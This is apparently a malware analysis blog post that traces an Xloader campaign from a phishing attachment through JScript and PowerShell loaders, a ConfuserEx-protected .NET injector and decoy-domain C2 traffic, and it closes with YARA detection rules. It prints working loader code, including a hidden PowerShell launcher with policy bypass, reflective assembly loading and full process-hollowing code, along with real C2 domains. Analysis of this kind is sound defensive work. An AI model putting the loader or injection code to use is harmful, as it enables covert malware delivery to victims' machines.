

The road to Xloader

By Mohamed Adel

Published: 2026-09-05 · Archived: 2026-09-26 02:01:56 UTC

Xloader is a stealer that was built on the FormBook malware family that first emerged in 2016; the rebranded Xloader was introduced in 2020. It is highly sophisticated malware that uses a combination of anti-analysis and obfuscation techniques, and it's written in pure assembly, so there are minimal compiler artifacts.

The infection chain used in this campaign is widely used to deliver multiple different malware families in a very similar way, with almost identical loader characteristics.

This campaign starts with a phishing mail with a malicious attachment. The attachment is an archive of JScript. The JScript is heavily obfuscated, and the next stage is stored in the `base64` string.

The next stage is a PowerShell script that is used to load another PowerShell script stored in `base64` and encrypted using AES with a hardcoded key and IV.

The invoked PowerShell has two binaries in it stored in different formats; the first one is a `.Net` module that will be injected in a predefined process “aspnet_compiler.exe” in this case stored in base64 and encrypted using rolling XOR with a hardcoded key. The second binary is stored in a list of integers, which is the final XLoader stage that will be loaded and executed using the `.Net` Assembly



The execution flow of the campaign

The first stage is an archive that contains a malicious script, delivered using email attachments using the sales quotation theme in a generic narrative and asking for an immediate response from the victim.

Quotation Reconfirmation Request 10849013/04.26

RFQ #10849013.7z
1 MB

[illegible]

Page 2 of 18

with. But we can use the clanker to do this task, as I already know all the functionality of the script. I can verify the result so we can get a pretty good result on how the original source code looks.

Warning

I didn't test the if the the code that AI produced is runnable, as all I want was a cleaned version of the script for static review.

[here's a gist of both versions](#)

// Clanker erstration of xloader stage1 JScript loader
var PayloadProcessor = {
baseString: "<BASE64_PAYLOAD>",
dictionary: null,
timeout: 50000,
// Initializes the Scripting.Dictionary object
initialize: function () {
var success = true;
try {
this.dictionary = new ActiveXObject("Scripting.Dictionary");
this.dictionary.Exists("Init");
} catch (e) {
success = false;
}
return success;
},
// Strips all whitespace characters from the input payload string
cleanWhitespace: function (inputStr) {
var cleanedStr = "";
try {

	var regex = new ActiveXObject("VBScript.RegExp");
	regex.Pattern = "\\s+";
	regex.Global = true;
	cleanedStr = regex.Replace(inputStr, "");
	} catch (e) {
	cleanedStr = "";
	}
	return cleanedStr;
	},
	// Decodes the base64 payload into its original binary string format
	decodeBase64: function (base64Str) {
	var decodedResult = "";
	try {
	var xmlDoc = new ActiveXObject("MSXML2.DOMDocument.6.0");
	var xmlEl = xmlDoc.createElement("base64");
	xmlEl.dataType = "bin.base64";
	xmlEl.text = base64Str;
	var stream = new ActiveXObject("ADODB.Stream");
	stream.Type = 1; // adTypeBinary
	stream.Open();
	stream.Write(xmlEl.nodeTypedValue);
	stream.Position = 0;
	stream.Type = 2; // adTypeText
	stream.Charset = "utf-8";
	decodedResult = stream.ReadText(-1);
	stream.Close();

	} catch (e) {
	decodedResult = "";
	}
	return decodedResult;
	},
	// Generates a random 12-character alphanumeric file name with a millisecond timestamp suffix
	generateFileName: function () {
	var charSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
	var randomName = "";
	for (var i = 0; i < 12; i++) {
	randomName += charSet.charAt(Math.floor(Math.random() * charSet.length));
	}
	return randomName + "_" + new Date().getTime();
	},
	// Terminates any running PowerShell processes executing the dropped file and cleans up artifacts
	killProcesses: function (fso, shell, filePath) {
	try {
	var wmi = GetObject("winmgmts:\\\\.\\root\\cimv2");
	var processes = wmi.ExecQuery("SELECT * FROM Win32_Process WHERE Name='powershell.exe' OR Name='pwsh.exe'");
	var enumProcesses = new Enumerator(processes);
	for (; !enumProcesses.atEnd(); enumProcesses.moveNext()) {
	var process = enumProcesses.item();
	if (process.CommandLine.indexOf(filePath) > -1) {
	process.Terminate(0);
	}

	}
	} catch (e) {}
	try {
	if (fso.FileExists(filePath)) {
	fso.DeleteFile(filePath, true);
	}
	} catch (e) {}
	try {
	shell.Run("taskkill /f /im wscript.exe", 0, true);
	shell.Run("taskkill /f /im cscript.exe", 0, true);
	} catch (e) {}
	},
	// Primary execution handler
	execute: function () {
	if (!this.initialize()) {
	return false;
	}
	if (typeof this.baseString !== "string" this.baseString.length === 0) {
	return false;
	}
	var normalizedPayload = this.cleanWhitespace(this.baseString);
	if (normalizedPayload.length === 0) {
	return false;
	}

	var decodedPayload = this.decodeBase64(normalizedPayload);
	if (decodedPayload.length === 0) {
	return false;
	}
	var fso;
	var shell;
	var targetDir;
	var targetPath;
	var powerShellCmd;
	var processExec;
	var startTime;
	var currentTime;
	try {
	fso = new ActiveXObject("Scripting.FileSystemObject");
	shell = new ActiveXObject("WScript.Shell");
	targetDir = "C:\\Temp\\";
	if (!fso.FolderExists(targetDir)) {
	try {
	fso.CreateFolder(targetDir);
	} catch (e) {}
	}
	targetPath = fso.BuildPath(targetDir, "ps_" + this.generateFileName() + ".ps1");
	var textFile = fso.CreateTextFile(targetPath, true);
	textFile.Write(decodedPayload);
	textFile.Close();

	powerShellCmd = "powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File \"" + targetPath + "\"";
	processExec = shell.Exec(powerShellCmd);
	startTime = new Date().getTime();
	// Monitor process state until completion or until the timeout value is exceeded
	while (processExec.Status === 0) {
	currentTime = new Date().getTime();
	if ((currentTime - startTime) >= this.timeout) {
	this.killProcesses(fso, shell, targetPath);
	return false;
	}
	WScript.Sleep(100);
	}
	var exitCode = processExec.ExitCode;
	try {
	if (fso.FileExists(targetPath)) {
	fso.DeleteFile(targetPath, true);
	}
	} catch (e) {}
	return exitCode;
	} catch (err) {
	try {
	if (fso.FileExists(targetPath)) {
	fso.DeleteFile(targetPath, true);
	}

	} catch (e) {}
	return false;
	}
	}
	};
	// Main Execution Entrypoint
	WScript.Quit(PayloadProcessor.execute() ? 0 : 1);

The script has a large blob of base64 encoded string that is decoded and saved in the `.ps1` script file in `C:\Temp\` directory (creates it if it does not exist). The script file name is randomly generated in the following format: `ps_{RANDOM_12_CHARS}_{TIMESTAMP_EPOCH}.ps1`. Then the PowerShell script is executed using the decoded command `powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File "C:\Temp\ps_AAUnx3BSGITW_1776175866536.ps1`.

It then uses the connection string `winmgmts:\\.\root\cimv2` to access the WMI service to clean up its artifacts. It executes the following query to get all PowerShell processes `SELECT * FROM Win32_Process WHERE Name='powershell.exe' OR Name='pwsh.exe'` then it matches for the spawned PowerShell loader process command line and terminates it using `<ISWbemObjectEx>.Terminate()`.

It then deletes the dropped PowerShell file, and lastly, it terminates the parent `wscript` (or `cscript.exe`) by executing the command `taskkill /f /im wscript.exe` (or `taskkill /f /im cscript.exe`).

Basically, it just decodes the next stage payload from base64 and launches it in a separate PowerShell instance and cleans up artifacts dropped on the file system and process tree.

The script is very large, as all the incoming stages are hidden inside it. It is formatted in a way that looks like a digital certificate/public key as shown:

```
# AES-256 Decryption System
# =====

# Encrypted Data
$encData = @'
ryme8n1MuZTbsH7A0T9p0igCQvYQHdpZv1AUDC5YMyRZzNh/p42YtSgLhGaG9qM
th5LXPtqseEtAtPW0sgUEBWCPBrY9MW8hYeM8hEh07hnGqpItZEqBb2bMbSlu99N
...
/KaT63WnEF+zdSUKxRKY4dcOYDXEBP/4hEZG9vt4LbrtJVysd3wCt+JyWwdgFt2D
Y5GyHK4QiMrL0UW41qX0dQ==
'@
```

The script is crystal clear with no obfuscation layers at all. The `$encData` variable has a base64 text of the encrypted next-stage payload. The payload is encrypted using `AES-256` in `CBC` mode with `PKCS7` padding. The `key` and `IV` are base64 encoded and hardcoded in the script. The decrypted payload is executed directly via `Invoke-Expression`.

```
# Decryption Key
$decKey = '@'
WgvNL+m0atIhx9FbAR1aPpZN77R7I08IV7ZXfxNbKs=
'@

# Initialization Vector
$decIv = '@'
ii9Vl0AESSKhgpcA8JizgA==
'@

# <.....>

# Main Processing
$payload = & $base64Decoder $encData
$keyBytes = & $base64Decoder $decKey
$ivBytes = & $base64Decoder $decIv

if ($payload -and $keyBytes -and $ivBytes) {
    $scriptContent = & $aesDecryptor -data $payload -key $keyBytes -iv $ivBytes

    if ($scriptContent) {
        Invoke-Expression $scriptContent
    }
}
```

This stage is not obfuscated too; all variable names and comments are still intact. It has 2 large blobs; the first is a base64 encoded string that acts as an injector that loads the second payload, which is an integer array of the binary bytes. The entry point of the script is `Start-MonitoringCycle`.

```
# Main monitoring loop
function Start-MonitoringCycle {
    param(
        [string]$TargetProcess = "aspnet_compiler",
        [int]$CheckInterval = 5
    )

    # XOR encryption key - MAKE SURE THIS MATCHES THE KEY USED IN C# ENCRYPTION
    $XorKey = "DVSecretKey567"

    :monitoringLoop while ($true) {
```

```

    if (Test-ProcessAbsent -ProcessName $TargetProcess) {
        # The %base% variable now contains XOR-ENCRYPTED base64 data
        $xorEncryptedBase64 = "BASE64_PAYLOAD"

# <.....>

```

As the name of the function implies, it enters an infinite loop and monitors for a `TargetProcess` to be running on the system by calling the `Test-ProcessAbsent` function, which executes the `Get-Process` command with the provided command and returns a Boolean value. If the process is not found in the running list, it will sleep for `CheckInterval` seconds.

Once the `TargetProcess` is found, the first blob is base64 decoded and then decrypted using the rolling XOR key `DVSecretKey567` which is hardcoded and will be followed by the following stage, then base64 decoded again.

The decrypted PE payload is a .NET stage that's used to inject the PE payload stored array into a legitimate target process: `C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe` .

It invokes a specified method named in the function calling but hardcoded as `LAUNCH` from the type `ALTERNATE.EXECUTE` in the decrypted PE file.

```

function Invoke-AssemblyExecution {
    param(
        [Byte[]]$BinaryData,
        [string]$TypeName,
        [string]$MethodName,
        [object[]]$MethodArgs
    )
    try {
        # Load binary assembly into memory
        $loadedAssembly = [System.Reflection.Assembly]::Load($BinaryData)
        # Get the target type
        $targetType = $loadedAssembly.GetType($TypeName)
        # Define method search flags
        $bindingFlags = [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static
        # Find the specified method
        $targetMethod = $targetType.GetMethod($MethodName, $bindingFlags)
        if (-not $targetMethod) {
            Write-Warning "Method '$MethodName' not found in type '$TypeName'"
            return $null
        }
        # Invoke static method with parameters
        return $targetMethod.Invoke($null, $MethodArgs)
    }
    catch {
        Write-Error "Assembly execution failed: $($_.Exception.Message)"
        return $null
    }
}

```

```

}

# First decrypt the XOR-encrypted data
$decryptedBase64 = XorDecrypt -EncryptedBase64 $xorEncryptedBase64 -Key $XorKey
if ($decryptedBase64) {
    # Then decode the base64 to get assembly bytes
    $assemblyBytes = [System.Convert]::FromBase64String($decryptedBase64)
    # Define target executable path
    $targetExecutable = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe'
    # Prepare invocation parameters
    $invocationParams = [object[]]@($targetExecutable, $payloadData)
    # Execute the assembly method
    $executionResult = Invoke-AssemblyExecution -BinaryData $assemblyBytes `
                                                -TypeName 'ALTERNATE.EXECUTE' `
                                                -MethodName 'LAUNCH' `
                                                -MethodArgs $invocationParams

    # Update payload for next iteration
    [Byte[]]$payloadData = (<PE_BYTE_ARRAY>)
    # <....>
}

```

Note

This exact loader flow is used to deliver different malware families like [VIP Keylogger](#), [ASync RAT](#), [AgentTesla](#), [and more here](#). So writing Yara rule based on the PowerShell script header is good for hunting generic malware with the same loader functionality but not good for a specific family detection rule.

This stage assembly is protected by the well-known protector `ConfuserEx2 v1.6.0`, method names are in Unicode, strings are obfuscated, and control flow is flattened.

Using the extended version of the original `de4dot`, [de4dotEx by GDATA](#). The tool did all the heavy work and removed all the obfuscation layers; control flow is fixed, and all the strings are resolved, so it will be very easy to deal with it now.

The static constructor `.cctor` of the module is used to validate the environment that it runs in.

```

// Token: 0x02000001 RID: 1
internal class <Module>
{
    // Token: 0x06000001 RID: 1 RVA: 0x000022D8 File Offset: 0x000004D8
    static <Module>()
    {
        MethodInfo method = typeof(Environment).GetMethod("GetEnvironmentVariable", new Type[] { typeof(string) });
        if (method != null && "1".Equals(method.Invoke(null, new object[] { "COR_ENABLE_PROFILING" })))
        {
            Environment.FailFast(null);
        }
        new Thread(new ParameterizedThreadStart(<Module>.smethod_0))
        {
            IsBackground = true
        }.Start(null);
    }
}

```

Module static constructor

It checks for the usage of the .NET profiler by looking for the `COR_ENABLE_PROFILING` environment variable; if it is set to 1, it terminates the process immediately by calling `Environment.FailFast(null);`. Otherwise, it creates

and runs a background thread for executing the method `smethod_0` that continues other anti-debugging checks. `smethod_0` creates another thread to execute itself and puts the previously created thread to sleep for 500 milliseconds. It then enters an infinite loop to watch for debugger usage by checking the `Debugger.IsAttached` property and `Debugger.IsLogging()`, if any of them is set, the process is terminated the same way as the profiling check. The secondly created thread is the one that carries the execution, and it terminates the process if this thread is terminated while the main thread is used as a backup thread, and it's put to sleep for 1 second every loop iteration.

This is all for the module constructor; let's move to the `ALTERNATE.EXECUTE.LAUNCH` method.

Main injector logic: `ALTERNATE.EXECUTE.LAUNCH` method

The malware uses typical process hollowing technique `CreateProcessA` -> `GetThreadContext` -> `ZwUnmapViewOfSection` -> `VirtualAllocEx` -> `WriteProcessMemory` -> `SetThreadContext` -> `ResumeThread`. If the process failed, it tries for 5 times and exits.

```

if (!EXECUTE.Class5.CreateProcess(targetPath, null, IntPtr.Zero, IntPtr.Zero, false, 1342177320, IntPtr.Zero, null, ref lpStartupInfo, ref lpProcessInformation))
{
    throw new InvalidOperationException("Failed to create process");
}
int num = 0;
int num2 = BitConverter.ToInt32(shellcode, 60);
int num3 = BitConverter.ToInt32(shellcode, num2 + 52);
int[] array = new int[179];
array[0] = 65538;
bool flag;
if ((flag = IntPtr.Size != 4))
{
    if (!EXECUTE.Class5.GetThreadContext(lpProcessInformation.IntPtr_1, array))
    {
        throw new Exception("Failed to get thread context");
    }
}
else if (!EXECUTE.Class5.Wow64GetThreadContext(lpProcessInformation.IntPtr_1, array))
{
    throw new Exception("Failed to get wow64 thread context");
}
int num4 = array[41];
int num5 = 0;
if (!EXECUTE.Class5.ReadProcessMemory(lpProcessInformation.IntPtr_0, (IntPtr)num4 + 8, ref num5, 4, out num))
{
    throw new Exception("Failed to read process memory");
}
if (num3 == num5 && EXECUTE.Class5.ZwUnmapViewOfSection(lpProcessInformation.IntPtr_0, (IntPtr)num5) != 0)
{
    throw new Exception("Failed to unmap section");
}
int num6 = BitConverter.ToInt32(shellcode, num2 + 80);
int num7 = BitConverter.ToInt32(shellcode, num2 + 84);
IntPtr IntPtr_1 = EXECUTE.Class5.VirtualAllocEx(lpProcessInformation.IntPtr_0, (IntPtr)num3, num6, 12288, 64);
if (IntPtr_1 == IntPtr.Zero)
{
    throw new Exception("Failed to allocate memory");
}
if (!EXECUTE.Class5.WriteProcessMemory(lpProcessInformation.IntPtr_0, IntPtr_1, shellcode, num7, out num))
{
    throw new Exception("Failed to write headers");
}
int num8 = num2 + 248;
short num9 = BitConverter.ToInt16(shellcode, num2 + 6);
for (int j = 0; j < (int)num9; j++)
{
    int num10 = BitConverter.ToInt32(shellcode, num8 + 12);
    int num11 = BitConverter.ToInt32(shellcode, num8 + 16);
    int num12 = BitConverter.ToInt32(shellcode, num8 + 20);
    if (num11 > 0)
    {
        byte[] array2 = new byte[num11];
        Buffer.BlockCopy(shellcode, num12, array2, 0, array2.Length);
        if (!EXECUTE.Class5.WriteProcessMemory(lpProcessInformation.IntPtr_0, (IntPtr)((int)IntPtr_1 + num10), array2, array2.Length, out num))
        {
            throw new Exception("Failed to write section");
        }
    }
}
byte[] bytes = BitConverter.GetBytes((int)IntPtr_1);
if (!EXECUTE.Class5.WriteProcessMemory(lpProcessInformation.IntPtr_0, (IntPtr)num4 + 8, bytes, 4, out num))
{
    throw new Exception("Failed to update PEB");
}
int num13 = BitConverter.ToInt32(shellcode, num2 + 40);
array[44] = (int)IntPtr_1 + num13;
if (!flag)
{
    if (!EXECUTE.Class5.SetThreadContext(lpProcessInformation.IntPtr_1, array))
    {
        throw new Exception("Failed to set thread context");
    }
}
else if (!EXECUTE.Class5.Wow64SetThreadContext(lpProcessInformation.IntPtr_1, array))
{
    throw new Exception("Failed to set wow64 thread context");
}
if (EXECUTE.Class5.ResumeThread(lpProcessInformation.IntPtr_1) == -1)
{
    throw new Exception("Failed to resume thread");
}
break;

```

Process Hollowing

It first opens a creates a new process using the path specified in `targetPath` which is `aspnet_compiler.exe` as explained previously. It then saves the thread context and unmaps the original process memory. It then allocates memory section for the next-stage code and writes it section by section. It then updates the context of the thread running to update the instruction pointer `RIP` and resume thread execution of the malicious code.

Running this stage in an analysis environment will not lead to anything. Also, checking the public sandboxes output has nothing useful. Of course the sample did not run successfully and was disrupted, as there are multiple anti-analysis techniques.

```

PE Header
Machine: IMAGE_FILE_MACHINE_I386(14C)
Timestamp: 2016-02-28 03:07:15
Characteristics: 32BitsMachine(100) + ExecutableImage(2)

Optional Header
Magic: PE32(108)
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI(2)
DllCharacteristics: TerminalServerAware(8000) + NXcompat(100) + DynamicBase(40)
Checksum: 00000000
Entry point: 00002680

Linker version: 9.0 Image version: 0.0
OS version: 6.1 Subsystem version: 6.1

ImageBase: 00400000 Size of image: 00046000
Base of Code: 00001000 Size of Code: 00044c00
Base of Data: 00046000 Size of Data: 00000000
Size of uninitialized data: 00000000

Section alignment: 00001000 File alignment: 0000200
Stack reserve: 00100000 Stack commit: 00001000
Heap reserve: 00100000 Heap commit: 00001000

-----

Sections
.text [R·X·.....C··] ---> Memory: 00401000-00445BFF ( 44c00 bytes) Disk: 00001000-00045bff ( 44c00 bytes)

-----

Data Directories
[ 0] ExportTable: rva:00000000 size:00000000
[ 1] ImportTable: rva:00000000 size:00000000
[ 2] ResourceDirectory: rva:00000000 size:00000000
[ 3] ExceptionTable: rva:00000000 size:00000000
[ 4] CertificateTable: off:00000000 size:00000000
[ 5] RelocationTable: rva:00000000 size:00000000
[ 6] DebugData: rva:00000000 size:00000000
[ 7] Architecture: rva:00000000 size:00000000
[ 8] GlobalPointer: rva:00000000 size:00000000
[ 9] ThreadLocalStorage: rva:00000000 size:00000000
[10] LoadConfiguration: rva:00000000 size:00000000
[11] BoundImportTable: off:00000000 size:00000000
[12] ImportAddressTable: rva:00000000 size:00000000
[13] DelayImportDescriptor: rva:00000000 size:00000000
[14] DotnetHeader: rva:00000000 size:00000000
[15] Unused: rva:00000000 size:00000000

```

PE Metadata overview

Checking the metadata of the PE file did not reveal anything too! The import table is empty and has no meaningful strings (as expected). Inspecting the structure of the sample, it has a `.text` section and unexplored (no direct references to it) data. The full analysis of this last stage will be on a different blog.

Inspecting the captured traffic, it's noticeable that it relies on the HTTP method. XLoader (formbook) uses fake domains (legitimate and non-existent) that did not relate to the malware C2 at all, and to further harden the problem, it communicates with all the domains the same way.

Topic / Item	Count	Average	Min val	Max val	Rate (ms)	Percent	Burst rate	Burst start
• HTTP Requests by HTTP Host	301				0.0003	100%	0.0100	0.113
• www.370421.xyz	9	0.0000	2.99%	0.0100	805.298			
/dwa/	8	0.0000	88.89%	0.0100	805.298			
/dwa/?hV=1ZTYq8OJ=ISQb8IEBbrbt0GwSoQpV7SZAfReR3puqG73B0u0Zv2Q5br8TnASuAdMt2524GpNKZV9p1SVuMYLz0UsgZ79kXg36FwqlhMvvg6OnQlklg90YQloqf497fO=C=	1	0.0000	11.11%	0.0100	826.558			
• www.sisters.store	20	0.0000	6.64%	0.0100	276.574			
/c15u/	16	0.0000	80.00%	0.0100	276.574			
/c15u/?Y2N=Cfs_Ln&OJ=OdwaAWmmAac3G5dUKGYy38IBZUyQuAKvBOwBqWBSegfz2gGIZd8mk2A7OQvJhOZv-chjDRhy/1J8680GUKhQKScplLHWDtQngFVKGd011Fv1c0aSE8Pmfmb35rwn=	4	0.0000	20.00%	0.0100	298.160			
• www.athutoring.vip	19	0.0000	6.31%	0.0100	196.131			
/8b6u/	14	0.0000	73.68%	0.0100	196.131			
/8b6u/?OJ=UEdM4K2K2yweF3K3XgQhpkq7nUKC6P6bRq45bwvEK190ADwaRvYQ95rC/SpUy2Lab33o=PzmSak7KuVS4b8eefFJYRTugbRiK5d9vCrcxRF5thul7UIV4Q4N46Vtk8=BY2N=Cfs_Ln	5	0.0000	26.32%	0.0100	216.623			
• www.broccenbow.com	9	0.0000	2.99%	0.0100	752.039			
/bk4/	8	0.0000	88.89%	0.0100	752.039			
/bk4/?hV=1ZTYq8OJ=rsQ24BMmlBpsrQbCzPGLARL/i-N4yF#pvyO9ORpet8B0KNvix5SLncTK24A8CekVh7fDKnfGhK8E084BhqQyWBQ/THHyART/vpBoXG8Z6Xv5f0X3HJieafQ=	1	0.0000	11.11%	0.0100	774.141			
• www.cinefa.life	21	0.0000	6.98%	0.0100	118.030			
/nq4f/	16	0.0000	76.19%	0.0100	118.030			
/nq4f/?Y2N=Cfs_Ln&OJ=sePpLxP623yK7DlqLbQZ1UdUwW2k168GcLOQ/kkf1biU04BDWQcqp0NwulMYIMGvOkgw7YwwFrP8Fqlyjv=BKhG1nRP3huVZso4PMbM5yVhyO/jro53/Gl/s=	5	0.0000	23.81%	0.0100	139.076			
• www.B731.com	21	0.0000	6.98%	0.0100	170.283			
/srsw/	16	0.0000	76.19%	0.0100	170.283			
/srsw/?Y2N=Cfs_Ln&OJ=FE83u0npeCwfyarKd/j25cHWNLg3hNAma6MfC8KDwO09awomVB1Zclj3qmiW3O4w0puNHEHb56AyyFhFVHOAEz8BMQwTsAbEz5nTA0I2Z07UqC0060zUYCs/3684=	5	0.0000	23.81%	0.0100	190.178			
• www.gadlist.ru	21	0.0000	6.98%	0.0100	303.854			
/ucdb/	16	0.0000	76.19%	0.0100	303.854			
/ucdb/?OJ=gf07Ctw00gPpy4MvZdfagCZJUSL807LMSvVgvgdVH8vIQ05vCbhqVzn3LqjvC7Hfj80b4c50p3h1hLZ3p/OAmewd0PkszlpgqhmreZ2N348vYvA26v4534XCd0v4FvA=8v2N=Cfs_Ln	1	0.0000	4.76%	0.0100	366.577			
/ucdb/?OJ=gf07Ctw00gPpy4MvZdfagCZJUSL807LMSvVgvgdVH8vIQ05vCbhqVzn3LqjvC7Hfj80b4c50p3h1hLZ3p/OAmewd0PkszlpgqhmreZ2N348vYvA26v4534XCd0v4FvA=8v2N=Cfs_Ln	4	0.0000	19.05%	0.0100	325.600			
• www.helpierus.ru	1	0.0000	0.33%	0.0100	948.372			
• www.strakabiinw.info	21	0.0000	6.98%	0.0100	90.833			
• www.xamix.com.br	1	0.0000	6.98%	0.0100	144.377			
• www.kelimaster.com.tr	1	0.0000	0.33%	0.0100	1077.694			
• www.optickjwabararonline	9	0.0000	2.99%	0.0100	332.954			
• www.pechinag-ekb.ru	9	0.0000	2.99%	0.0100	414.466			
• www.pernikotech	5	0.0000	2.99%	0.0100	858.792			
• www.scdgm.com	1	0.0000	0.33%	0.0100	955.323			
• www.simonidapure.net	9	0.0000	2.99%	0.0100	779.494			
• www.smart2info.fr	9	0.0000	2.99%	0.0100	441.986			
• www.smartfavesden.shop	5	0.0000	1.66%	0.0100	0.118			
• www.solevelingshop.co.uk	9	0.0000	2.98%	0.0100	1093.940			
• www.sqws-adguard.co.in	1	0.0000	0.33%	0.0100	1066.430			
• www.sy-idea.com	221	0.0000	6.98%	0.0100	222.046			
• www.thesisclaw.xyz	1	0.0000	0.33%	0.0100	1072.217			
• www.tadiso.net	1	0.0000	0.33%	0.0100	1093.940			
• www.troitt.com	9	0.0000	2.99%	0.0100	599.263			
• www.tylegbots.com	1	0.0000	0.33%	0.0100	999.340			
• www.vanoveamobility.shop	12	0.0000	3.99%	0.0100	468.943			
• www.vk-meditoy.online	1	0.0000	0.33%	0.0100	1083.290			
• www.von-tors.ru	1	0.0000	0.33%	0.0100	961.173			
• www.x5jd.click	29	0.0000	9.63%	0.0100	249.535			

PCAP: domains staistics

Similar requests are sent to all the domains, and they wait for the response. The domains that are non-existent or the legitimate domains that do not have the path that the malware is trying to communicate to are responding with codes that indicate a problem in the connection: 301, 302, 404, 405, 403, 502 including the real C2 server.

```
POST /lnf2/ HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 855
Host: www.istrakabiinw.info
Origin: http://www.istrakabiinw.info
Referer: http://www.istrakabiinw.info/lnf2/
User-Agent: Mozilla/5.0 (Linux; Android 5.0; K013 Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36

OJ=ghav1Rfr1k0AsP06aNgEionFdHkECYowE8WbHYFavbNYmSyRkuq6GEV0WtKjYkEaVn9E41nQxWV6PgR0gmuvPvYg13K34QKoxeIrkdNE06XRiAdHLJ0XKQXw5PRETPyF83KcRtHiaRn1YuZ7zafzCPgHJES76j70J24IKF
UPN0z19f9y21EC5GUPiVhgu5NaQvVNN123bu50GnLx1pTUQ2otqrP/43kdq7kyPw4Hfz9pmdGdyfGHPH1HPCefvJrK3sxt-rUMT17L9/Q86u5K53pnIm6KhqONtR8KCB3mQKbUG1EV41JCKA136FGCCfwU1KeU12/
VNHus7RkPuvqpfDIIFK0N9TKx634KRLX3Bo34EpEUA0E0FprTwpNxrGZuvXyHaeB01Ed9D53TyKzE05w0mKQIHd0VnyHacRlCAw31y+gfc218Y3sQsPtChcmw01buyj3fAcIT4LNU/
5B8vCB09mIue2XQZPQ3JUA8K5QLCw0b0mDeBPQK2K7evuuzML3u06vJ6Iq3ewztdrPyctzGL01+bsTCC0Q4qQ1E2UuQUNV4GLArpF0A81HNWUQ2Ng9d0LumXKKEV5e04HyZVF34yJdJ3qTzBpn+HmIsm0WbVqghyeIVun5ZUV
gFUL0H5ve4V50labQzTHAbcfvS2CLx5An8BgZZYD8rBT64Wp1du0g1W6s+/rtpsAYhi6wSPK8Gv5Vnsstuv0ba0e157C6069Srqh3oXa06/Yxdl9S50H3j6obvrytuxD7VYHfBNHKSASCTzPsh5evgtUaj4gzuQP61rAvI/
VZCLqyrMHPH1/g13yx674Bw=HTTP/1.1 404 Not Found
Server: nginx
Date: Mon, 13 Apr 2026 19:11:18 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
x-ray: wn68428:0.000/wa68428:D=499
Content-Encoding: gzip
```

PCAP: 404 response code from a dummy domain

```
GET /vvlv/70J=lpXzsE8q3AeDxEb0aQvS7V/uxviCheTe2g8+BewW06B1IdAU0Ses8rBQe4Isf0LlDABeXTxf1J8CGRlUDXAUvFjr8QWw0od7yu1HXN21K1SxOGLzNMJ7eIP9MBtU0BwZoU=BY2N=Cfs_Ln HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9
Connection: close
Host: www.smartfavesden.shop
User-Agent: Mozilla/5.0 (Linux; Android 5.0; K013 Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Safari/537.36

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Mon, 13 Apr 2026 19:09:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
X-Redirect-By: WordPress
Set-Cookie: slv_session_e6a79015457780b6c12abb90a9418994=d28b79f603fba3d81e7c8b7aef9a9%7C%71776280179%7C%71776276579%7C%7C54d9a2b5849a491200d846beab777475; expires=Wed, 13-
May-2026 19:09:39 GMT; Max-Age=252000; path=/
Location: http://smartfavesden.shop/vvlv/70J=lpXzsE8q3AeDxEb0aQvS7V/
uxviCheTe2g8+BewW06B1IdAU0Ses8rBQe4Isf0LlDABeXTxf1J8CGRlUDXAUvFjr8QWw0od7yu1HXN21K1SxOGLzNMJ7eIP9MBtU0BwZoU=BY2N=Cfs_Ln
```

PCAP: 301 response code from a dummy domain

The real C2 server acts exactly like other dummy domains used; it responds in a way that indicates an error happened even if the request is received correctly and the server responded. One distinction that could be used to differentiate the real C2 explained [in this talk: Chasing XLoader: Tracking a Notoriously Complex Malware Family at Scale](#) is that in some cases the real C2 responds with “Content-Type: text/html; charset=utf-8” instead of

“Content-Type: text/html,” but it’s not reliable, as some legit websites might respond with it and the C2 in some cases didn’t have this artifact.

As I mentioned above, the PowerShell loader that was used is used in the exact same characteristics to load different malware families, so we can use its strings to build a generic rule to hunt for the samples that are delivered in the same way:

```
rule GENERIC_Xloader_PS_prestage_loader {
  meta:
    malware = "GENERIC Loader"
    author = "d01a"
    description = "Hunt for GENERIC script loader that used ton deliver multiuple malware families"
    date = "2026-08-31"
    sha256 = "8e60280c59b760a2e8c88d51e9fc8cb68c9ebe55b15106bd127cfdabab740bfc"

  strings:
    $s0 = "# AES-256 Decryption System" ascii
    $s1 = "# =====" ascii
    $s2 = "# Encrypted Data" ascii

  condition:
    all of them
}
```

.Net stage detection rule (works on obfuscated and clean assembly)

```
rule GENERIC_Xloader_prestage_NET_Loader {
  meta:
    malware = "GENERIC_Xloader_prestage_NET_Loader_obf"
    author = "d01a"
    description = "detect GENERIC Xloader-prestage .NET Loader - obfuscated with confuser"
    date = "2026-08-31"
    sha256 = "d324cee32a91d3761dbcd3a442088f130ad1a30a30590b24bfa1b52a7b212968"
    sha256 = "c729348afbf9e37bc065f755570699ca3579417579adef5a11ad0fdbe3977a29"

  strings:

    $s1 = "Confuser.Core 1.6.0" ascii
    $s2 = "COR_ENABLE_PROFILING" wide

    $s3 = "Failed to resume thread" wide
    $s4 = "Failed to write section" wide
    $s5 = "Failed to unmap section" wide
    $s6 = "Failed to get thread context" wide
```

```
$s7 = "Failed to update PEB" wide
```

```
condition:
```

```
uint16(0) == 0x5A4D
and (uint32(uint32(0x3C)) == 0x00004550)
